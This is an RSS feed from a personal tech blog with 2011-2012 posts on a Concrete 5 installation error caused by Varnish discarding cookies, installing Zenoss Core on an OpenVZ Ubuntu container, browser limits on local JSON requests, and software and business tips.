<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Two Drifters &#187; English</title>
	<atom:link href="http://blog.ideaday.de/max/category/language/english/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.ideaday.de/max</link>
	<description>Off to see the world.</description>
	<lastBuildDate>Fri, 10 Feb 2012 19:07:45 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Concrete 5 SQL errors during installation</title>
		<link>http://blog.ideaday.de/max/2012/02/concrete-5-sql-errors-during-installation/</link>
		<comments>http://blog.ideaday.de/max/2012/02/concrete-5-sql-errors-during-installation/#comments</comments>
		<pubDate>Fri, 03 Feb 2012 19:57:24 +0000</pubDate>
		<dc:creator>Max</dc:creator>
				<category><![CDATA[Concrete 5]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[C5]]></category>
		<category><![CDATA[CMS]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[error]]></category>
		<category><![CDATA[explanation]]></category>
		<category><![CDATA[fix]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[mysql error]]></category>
		<category><![CDATA[setup]]></category>
		<category><![CDATA[SQL]]></category>

		<guid isPermaLink="false">http://blog.ideaday.de/max/?p=1667</guid>
		<description><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.ideaday.de/max/2012/02/concrete-5-sql-errors-during-installation/' addthis:title='Concrete 5 SQL errors during installation '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>We have seen this error with Concrete 5.5.1 You try to setup Concrete 5, and get strange SQL errors during the installation: If installing with an empty site, like this you get: mysql error: [1048: Column 'uID' cannot be null] in EXECUTE("INSERT INTO Config (cfKey,cfValue,uID) VALUES ('NEWSFLOW_LAST_VIEWED','FIRSTRUN',NULL)") If installing with Sample content with Blog: The [...]<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://blog.ideaday.de/max/2012/02/concrete-5-sql-errors-during-installation/' addthis:title='Concrete 5 SQL errors during installation ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></description>
			<content:encoded><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.ideaday.de/max/2012/02/concrete-5-sql-errors-during-installation/' addthis:title='Concrete 5 SQL errors during installation '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div><p>We have seen this error with <strong>Concrete 5.5.1</strong></p>
<p>You try to setup Concrete 5, and get <strong>strange SQL errors</strong> during the installation:</p>
<p>If installing with an <strong>empty site</strong>, like this</p>
<p align="center"><a href="http://ideadayblog.ideaday.netdna-cdn.com/max/wp-content/uploads/2012/02/c5-nosample-content-chosen.png"><img hspace="10" alt="c5-nosample-content-chosen" vspace="10" src="http://ideadayblog.ideaday.netdna-cdn.com/max/wp-content/uploads/2012/02/c5-nosample-content-chosen-small.png" width="450" height="208" /></a></p>
<p>you get:</p>
<p align="center"><a href="http://ideadayblog.ideaday.netdna-cdn.com/max/wp-content/uploads/2012/02/c5-mysql-error.png"><img hspace="10" alt="c5-mysql-error" vspace="10" src="http://ideadayblog.ideaday.netdna-cdn.com/max/wp-content/uploads/2012/02/c5-mysql-error-small.png" width="450" height="129" /></a></p>
<p><em>mysql error: [1048: Column 'uID' cannot be null] in EXECUTE("INSERT INTO Config (cfKey,cfValue,uID) VALUES ('NEWSFLOW_LAST_VIEWED','FIRSTRUN',NULL)")</em></p>
<p>If installing with <strong>Sample content with Blog</strong>:</p>
<p align="center"><a href="http://ideadayblog.ideaday.netdna-cdn.com/max/wp-content/uploads/2012/02/c5_with_sample_content.png"><img hspace="10" alt="c5 with sample content" vspace="10" src="http://ideadayblog.ideaday.netdna-cdn.com/max/wp-content/uploads/2012/02/c5_with_sample_content-small.png" width="450" height="276" /></a></p>
<p>The error you get is:</p>
<p><em>Catchable fatal error: Argument 1 passed to ContentImporter::importPageAreas() must be an instance of Page, boolean given, called in /concrete/libraries/content/importer.php on line 75 and defined in /concrete/libraries/content/importer.php on line 197.</em></p>
<p>&nbsp;</p>
<p><strong>Solution:</strong></p>
<p>You don't run Varnish by any chance, do you? We do, and we had it set up to &#8230; dispose of some cookies. The solution is, in Varnish' case, to enable pass-through for the host you are installing on.</p>
<p>You want to enable cookies.</p>
<p>&nbsp;</p>
<p><strong>Explanation:</strong></p>
<p>The code which breaks is located in <em>concrete5.5.1\concrete\models\package\starting_point.php</em></p>
<blockquote>
<p>  Config::save('SITE', SITE);<br />
  Config::save('SITE_APP_VERSION', APP_VERSION);<br />
  $u = new User();<br />
  $u-&gt;saveConfig('NEWSFLOW_LAST_VIEWED', 'FIRSTRUN');</p>
</blockquote>
<p>As you see, this is the first time a User is created and used.</p>
<p>The User class is defined in <em>concrete5.5.1\concrete\models\user.php</em></p>
<blockquote>
<p> <strong> if (isset($_SESSION['uID'])) {<br /></strong>     $this-&gt;uID = $_SESSION['uID'];<br />
     $this-&gt;uName = $_SESSION['uName'];<br />
     $this-&gt;uTimezone = $_SESSION['uTimezone'];<br />
     if (isset($_SESSION['uDefaultLanguage'])) {<br />
      $this-&gt;uDefaultLanguage = $_SESSION['uDefaultLanguage'];<br />
     }<br />
     $this-&gt;superUser = ($_SESSION['uID'] == USER_SUPER_ID) ? true : false;<br />
    } else {<br />
    <strong> $this-&gt;uID = null;<br /></strong>     $this-&gt;uName = null;<br />
     $this-&gt;superUser = false;<br />
     $this-&gt;uDefaultLanguage = null;<br />
     $this-&gt;uTimezone = null;<br />
    }<br />
    $this-&gt;uGroups = $this-&gt;_getUserGroups();<br />
    if (!isset($args[2])) {<br />
     $_SESSION['uGroups'] = $this-&gt;uGroups;<br />
    }<br />
   }</p>
</blockquote>
<p>The constructor checks in the Session for a valid user ID. If no user ID is found, it is set to zero. This happens <strong>if you throw away the cookies</strong>! Because the session is stored in them.</p>
<p>HTH. Feel free to comment on similar errors and solutions.</p>
<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://blog.ideaday.de/max/2012/02/concrete-5-sql-errors-during-installation/' addthis:title='Concrete 5 SQL errors during installation ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.ideaday.de/max/2012/02/concrete-5-sql-errors-during-installation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Good timer software</title>
		<link>http://blog.ideaday.de/max/2012/02/good-timer-software/</link>
		<comments>http://blog.ideaday.de/max/2012/02/good-timer-software/#comments</comments>
		<pubDate>Wed, 01 Feb 2012 17:31:09 +0000</pubDate>
		<dc:creator>Max</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[easy]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[recommendation]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[timer]]></category>

		<guid isPermaLink="false">http://blog.ideaday.de/max/?p=1656</guid>
		<description><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.ideaday.de/max/2012/02/good-timer-software/' addthis:title='Good timer software '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>An easy to use Freeware Timer: http://www.sonoragraphics.com/timer.html#downloads<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://blog.ideaday.de/max/2012/02/good-timer-software/' addthis:title='Good timer software ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></description>
			<content:encoded><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.ideaday.de/max/2012/02/good-timer-software/' addthis:title='Good timer software '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div><p>An easy to use Freeware Timer:</p>
<p><a href="http://www.sonoragraphics.com/timer.html#downloads">http://www.sonoragraphics.com/timer.html#downloads</a></p>
<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://blog.ideaday.de/max/2012/02/good-timer-software/' addthis:title='Good timer software ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.ideaday.de/max/2012/02/good-timer-software/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Finestra</title>
		<link>http://blog.ideaday.de/max/2012/01/finestra/</link>
		<comments>http://blog.ideaday.de/max/2012/01/finestra/#comments</comments>
		<pubDate>Tue, 03 Jan 2012 23:20:33 +0000</pubDate>
		<dc:creator>Max</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[tech]]></category>
		<category><![CDATA[Finestra]]></category>
		<category><![CDATA[fix]]></category>
		<category><![CDATA[freeware]]></category>
		<category><![CDATA[repair]]></category>
		<category><![CDATA[Window Manager]]></category>
		<category><![CDATA[working Finestra]]></category>

		<guid isPermaLink="false">http://blog.ideaday.de/max/?p=1620</guid>
		<description><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.ideaday.de/max/2012/01/finestra/' addthis:title='Finestra '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>Running Windows 7? For a working Finestra (with correct Z-Order) use Version 1.1. Version 1.2 messes up the Z-Order, and Version 2.0 and Version 2.1 both crash when hitting Win + Z to display the window overview (known bug). Sometimes the newest version is not the best one :-) About Finestra Finestra is a Virtual [...]<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://blog.ideaday.de/max/2012/01/finestra/' addthis:title='Finestra ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></description>
			<content:encoded><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.ideaday.de/max/2012/01/finestra/' addthis:title='Finestra '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div><p>Running Windows 7? For a working Finestra (with correct Z-Order) use <strong><a title="Working Finestra" href="http://vdm.codeplex.com/releases/view/60501" target="_blank">Version 1.1</a></strong>.</p>
<p>Version 1.2 messes up the Z-Order, and Version 2.0 and Version 2.1 both crash when hitting Win + Z to display the window overview (known bug). Sometimes the newest version is not the best one :-)</p>
<p><strong>About Finestra</strong></p>
<p>Finestra is a Virtual Desktop Manager for Windows. Freeware, fast switching, graphical indication to which desktop it switches.</p>
<p>Ability to drag windows to other desktops (using Win + Z to show the preview). Also useful for recovering windows which have been moved to outside your monitor by accident (believe me, it happens. Especially when using different monitor setups on notebooks)</p>
<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://blog.ideaday.de/max/2012/01/finestra/' addthis:title='Finestra ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.ideaday.de/max/2012/01/finestra/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Business!</title>
		<link>http://blog.ideaday.de/max/2012/01/business/</link>
		<comments>http://blog.ideaday.de/max/2012/01/business/#comments</comments>
		<pubDate>Tue, 03 Jan 2012 21:53:23 +0000</pubDate>
		<dc:creator>Max</dc:creator>
				<category><![CDATA[business]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[blasting mind]]></category>
		<category><![CDATA[creativity]]></category>
		<category><![CDATA[getting started]]></category>
		<category><![CDATA[help]]></category>
		<category><![CDATA[information]]></category>
		<category><![CDATA[just do it]]></category>
		<category><![CDATA[life purpose]]></category>
		<category><![CDATA[startup]]></category>

		<guid isPermaLink="false">http://blog.ideaday.de/max/?p=1618</guid>
		<description><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.ideaday.de/max/2012/01/business/' addthis:title='Business! '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>How to get started in business? Get obsessed about an idea, talk with everybody about it &#8230; then register a domain name and start setting up! WordPress is a great solution, easily installed, and there you are &#8211; you're a business with it's own website! What about the next steps? Obviously, you don't want to [...]<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://blog.ideaday.de/max/2012/01/business/' addthis:title='Business! ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></description>
			<content:encoded><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.ideaday.de/max/2012/01/business/' addthis:title='Business! '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div><p><strong>How to get started in business?</strong></p>
<p>Get <strong>obsessed</strong> about an idea, talk with <strong>everybody</strong> about it &#8230; then register a domain name and start setting up! WordPress is a great solution, easily installed, and there you are &#8211; you're a business with it's own website!</p>
<p><strong>What about the next steps?</strong></p>
<p>Obviously, you don't want to stop talking about your new idea! Post it to FaceBook, set up camp in Twitter, start referring to it until people actually start to get annoyed :-)</p>
<p>To organize your ideas you might want to use <a href="https://usd.swreg.org/cgi-bin/s.cgi?s=46266&amp;p=46266-2009&amp;v=2&amp;d=0&amp;q=1&amp;a=MaximilianBatz">XMind</a>! (Yeah, there's a superb free version, available, too!)</p>
<p>Don't forget to <a href="http://www.amazon.co.uk/?&amp;tag=surf01b-21&amp;camp=1694&amp;creative=6710&amp;linkCode=ur1&amp;adid=0H1AHY2XQSK7KS9HEDFW&amp;&amp;ref-refURL=http%3A%2F%2Fideaday.de%2Ftimo">read all</a> you can about business, and oh &#8211; do <a href="http://www.goodsync.com/?affid=idday" target="_blank">backup </a> your files regularly!</p>
<p>If your page actually starts getting massive hits, we recommend working together with us (!) and <a href="http://tracking.maxcdn.com/c/19034/6297/378">MaxCDN</a> for all your content delivery needs.</p>
<p><strong>The most important thing</strong></p>
<p>Is just to get going, to love the idea and business creativity. To do it for a purpose, to change the world! Get excited, and people will follow you. Read Napoleon Hill's book &#8211; Think and get rich &#8211; to understand what I mean.</p>
<p><strong>Want help?</strong></p>
<p>Head on over to <a title="CatFind.it - Don't search." href="http://www.catfind.it/" target="_blank">CatFind.it</a> and get your answers. (See what I mean?)</p>
<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://blog.ideaday.de/max/2012/01/business/' addthis:title='Business! ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.ideaday.de/max/2012/01/business/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Great looking Websites</title>
		<link>http://blog.ideaday.de/max/2011/12/great-looking-websites/</link>
		<comments>http://blog.ideaday.de/max/2011/12/great-looking-websites/#comments</comments>
		<pubDate>Wed, 28 Dec 2011 16:22:19 +0000</pubDate>
		<dc:creator>Max</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[design]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[good examples]]></category>
		<category><![CDATA[good pages]]></category>
		<category><![CDATA[website link]]></category>

		<guid isPermaLink="false">http://blog.ideaday.de/max/?p=1606</guid>
		<description><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.ideaday.de/max/2011/12/great-looking-websites/' addthis:title='Great looking Websites '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>University of Iowa Healthcare Clean looking informative entertaining / attention-grasping<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://blog.ideaday.de/max/2011/12/great-looking-websites/' addthis:title='Great looking Websites ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></description>
			<content:encoded><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.ideaday.de/max/2011/12/great-looking-websites/' addthis:title='Great looking Websites '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div><p><a href="http://www.uihealthcare.org/">University of Iowa Healthcare</a></p>
<ul>
<li>
<div>Clean looking</div>
</li>
<li>
<div>informative</div>
</li>
<li>
<div>entertaining / attention-grasping</div>
</li>
</ul>
<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://blog.ideaday.de/max/2011/12/great-looking-websites/' addthis:title='Great looking Websites ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.ideaday.de/max/2011/12/great-looking-websites/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Installing Zenoss Core on OpenVZ and Ubuntu-VEs</title>
		<link>http://blog.ideaday.de/max/2011/12/installing-zenoss-core-on-openvz-and-ubuntu-ves/</link>
		<comments>http://blog.ideaday.de/max/2011/12/installing-zenoss-core-on-openvz-and-ubuntu-ves/#comments</comments>
		<pubDate>Mon, 26 Dec 2011 20:22:59 +0000</pubDate>
		<dc:creator>Max</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[tech]]></category>
		<category><![CDATA[AMD x64]]></category>
		<category><![CDATA[device infrastructure monitoring]]></category>
		<category><![CDATA[Google Maps API Key]]></category>
		<category><![CDATA[IT monitoring]]></category>
		<category><![CDATA[OpenVZ]]></category>
		<category><![CDATA[performance]]></category>
		<category><![CDATA[server monitoring]]></category>
		<category><![CDATA[SNMP]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Zenoss Core]]></category>
		<category><![CDATA[Zenoss stack]]></category>

		<guid isPermaLink="false">http://blog.ideaday.de/max/?p=1601</guid>
		<description><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.ideaday.de/max/2011/12/installing-zenoss-core-on-openvz-and-ubuntu-ves/' addthis:title='Installing Zenoss Core on OpenVZ and Ubuntu-VEs '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>What is Zenoss Core? Zenoss Core is a fabulous, Open Source, network and device monitor. It allows you to collect statistics, track uptime and get alerts for a wide array of devices and applications, i.e. printers, routers, Linux and Windows servers, Varnish cache and many more. It is important to see the performance of your [...]<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://blog.ideaday.de/max/2011/12/installing-zenoss-core-on-openvz-and-ubuntu-ves/' addthis:title='Installing Zenoss Core on OpenVZ and Ubuntu-VEs ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></description>
			<content:encoded><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.ideaday.de/max/2011/12/installing-zenoss-core-on-openvz-and-ubuntu-ves/' addthis:title='Installing Zenoss Core on OpenVZ and Ubuntu-VEs '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div><p><strong>What is Zenoss Core?</strong></p>
<p>Zenoss Core is a fabulous, Open Source, network and device monitor. It allows you to collect statistics, track uptime and get alerts for a wide array of devices and applications, i.e. printers, routers, Linux and Windows servers, Varnish cache and many more.</p>
<p>It is important to see the performance of your digital assets, to ensure optimum experience for the users, and be able to react before someone notices the problems on the outside of your organisation.</p>
<p>Mission-critical components, i.e. corporate e-mail servers can be monitored with this solution.</p>
<p><strong>Setting up Zenoss Core on an Ubuntu-VPS under OpenVZ</strong></p>
<p>OpenVZ can be installed in a OpenVZ container. I chose to use the contributed Ubuntu 10.04 minimal template downloaded from <a href="http://ftp.openvz.org/template/precreated/contrib/">OpenVZ.org</a>. It will be a dedicated VE, just for Zenoss Core.</p>
<p>"<em>ubuntu-10.04-minimal_10.04_amd64.tar.gz</em>"</p>
<ul>
<li>
<div>10.04 is LTS (long term supported)</div>
</li>
<li>the minimal comes without Apache or other services</li>
</ul>
<p>The installation of the Zenoss stack will fail if your resource limits (particularly memory) are set too low. Here's an excerpt from the configuration file of my VPS:</p>
<blockquote>
<p>ONBOOT="yes"</p>
<p># UBC parameters (in form of barrier:limit)<br />
KMEMSIZE="14372700:14790164"<br />
LOCKEDPAGES="256:256"<br />
PRIVVMPAGES="1175000:1250000"<br />
SHMPAGES="21504:21504"<br />
NUMPROC="240:240"<br />
PHYSPAGES="0:9223372036854775807"<br />
VMGUARPAGES="33792:9223372036854775807"<br />
OOMGUARPAGES="26112:9223372036854775807"<br />
NUMTCPSOCK="360:360"<br />
NUMFLOCK="188:206"<br />
NUMPTY="16:16"<br />
NUMSIGINFO="256:256"<br />
TCPSNDBUF="1720320:2703360"<br />
TCPRCVBUF="2703360:3003360"<br />
OTHERSOCKBUF="1126080:2097152"<br />
DGRAMRCVBUF="262144:262144"<br />
NUMOTHERSOCK="360:360"<br />
DCACHESIZE="3409920:3624960"<br />
NUMFILE="9312:9312"<br />
AVNUMPROC="180:180"<br />
NUMIPTENT="128:128"</p>
<p># Disk quota parameters (in form of softlimit:hardlimit)<br />
DISKSPACE="5242880:5242880"<br />
DISKINODES="200000:220000"<br />
QUOTATIME="0"</p>
<p># CPU fair sheduler parameter<br />
CPUUNITS="1000"</p>
</blockquote>
<p>You need to install wget and binutils.</p>
<blockquote>
<p>apt-get install wget binutils</p>
</blockquote>
<p>Then download the newest Zenoss Stack DEB package from <a href="http://community.zenoss.org/docs/DOC-3240">Zenoss</a>. The stack includes webserver, a dedicated MySQL instance and other things for running Zenoss. Choose from the native stacks (DEBIAN/UBUNTU), DEB based. In <em>/tmp</em> :</p>
<blockquote>
<p>wget <a href="http://dev.zenoss.org/deb/dists/main/stable/binary-amd64/zenoss-stack_3.2.1_x64.deb">http://dev.zenoss.org/deb/dists/main/stable/binary-amd64/zenoss-stack_3.2.1_x64.deb</a></p>
</blockquote>
<p>I used the x64 stack, as we have a 64bit server. </p>
<p>Install the stack using dpkg:</p>
<blockquote>
<p> dpkg -i zenoss-stack_3.2.1_x64.deb</p>
</blockquote>
<p>This will take quite some time! On finish, start Zenoss Core with</p>
<blockquote>
<p>/etc/init.d/zenoss-stack start</p>
</blockquote>
<p>Now you are finished with the console part. Fire up your browser, and go to the installation server's IP, port 8080. I.e. <a href="http://www.example.com:8080">http://www.example.com:8080</a>.</p>
<p>Here you will be asked to setup the admin password and a new user for "everyday usage". After creating them, you will be given the opportunity to automatically discover devices and servers, to manually set them up, or to skip to the dashboard. (You can, of course, always add devices and servers later on).</p>
<p>After getting to the dashboard, you can set up a Google Maps API Key. That is pretty self-explanatory, Zenoss Core will help you do it.</p>
<p>Good luck!</p>
<p><strong>Further reading / watching:</strong></p>
<p><strong>Zenoss installation &amp; monitoring a Linux server with SNMP</strong></p>
<p><iframe height="480" src="http://www.youtube.com/embed/KfnUEQEwCuE" frameborder="0" width="640" allowfullscreen=""></iframe></p>
<p>More information about <a href="http://castix.wordpress.com/2009/03/02/installing-zenoss-and-monitoring-server-via-snmp/">this screencast on Castix</a> &#8211; also includes the example snmpd.conf mentioned in the screencast.</p>
<p><strong>Zenoss Core Getting Started &#8211; Adding Devices</strong></p>
<p><iframe height="442" src="http://blip.tv/play/AYKkq3MC.html?p=1" frameborder="0" width="550" allowfullscreen=""></iframe><embed style="DISPLAY: none" type="application/x-shockwave-flash" src="http://a.blip.tv/api.swf#AYKkq3MC" /></p>
<p><strong>Links</strong></p>
<ul>
<li><a href="http://blip.tv/zenoss-monitor-everything-everywhere">Zenoss Blip.TV Channel</a> (with how-to videos and discussions)</li>
</ul>
<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://blog.ideaday.de/max/2011/12/installing-zenoss-core-on-openvz-and-ubuntu-ves/' addthis:title='Installing Zenoss Core on OpenVZ and Ubuntu-VEs ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.ideaday.de/max/2011/12/installing-zenoss-core-on-openvz-and-ubuntu-ves/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Opera and Chrome blocking JSON requests in local mode</title>
		<link>http://blog.ideaday.de/max/2011/10/opera-and-chrome-blocking-json-requests-in-local-mode/</link>
		<comments>http://blog.ideaday.de/max/2011/10/opera-and-chrome-blocking-json-requests-in-local-mode/#comments</comments>
		<pubDate>Fri, 07 Oct 2011 16:48:38 +0000</pubDate>
		<dc:creator>Max</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[tech]]></category>

		<guid isPermaLink="false">http://blog.ideaday.de/max/2011/10/opera-and-chrome-blocking-json-requests-in-local-mode/</guid>
		<description><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.ideaday.de/max/2011/10/opera-and-chrome-blocking-json-requests-in-local-mode/' addthis:title='Opera and Chrome blocking JSON requests in local mode '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>If you browse a web page from your harddrive (that is, not hosted on a local apache, calling localhost, but using file://) you might notice, that your $.getJSON requests won't work -&#62; your application will break. This is by design, and a security measure. If you only load static information via JSON &#8211; which you [...]<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://blog.ideaday.de/max/2011/10/opera-and-chrome-blocking-json-requests-in-local-mode/' addthis:title='Opera and Chrome blocking JSON requests in local mode ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></description>
			<content:encoded><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.ideaday.de/max/2011/10/opera-and-chrome-blocking-json-requests-in-local-mode/' addthis:title='Opera and Chrome blocking JSON requests in local mode '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div><p>If you browse a web page from your harddrive (that is, not hosted on a local apache, calling localhost, but using <strong>file://</strong>) you might notice, that your $.getJSON requests won't work -&gt; your application will break.</p>
<p>This is by design, and a security measure.</p>
<p>If you only load static information via JSON &#8211; which you probably would in such an environment, <em>right?</em>, one (crutch of a) solution would be to <strong>include the information as a new .JS file</strong> (include it in your HTML head) which sets up a variable containing this information. This variable will replace your .getJSON call by a simple assignment.</p>
<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://blog.ideaday.de/max/2011/10/opera-and-chrome-blocking-json-requests-in-local-mode/' addthis:title='Opera and Chrome blocking JSON requests in local mode ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></content:encoded>
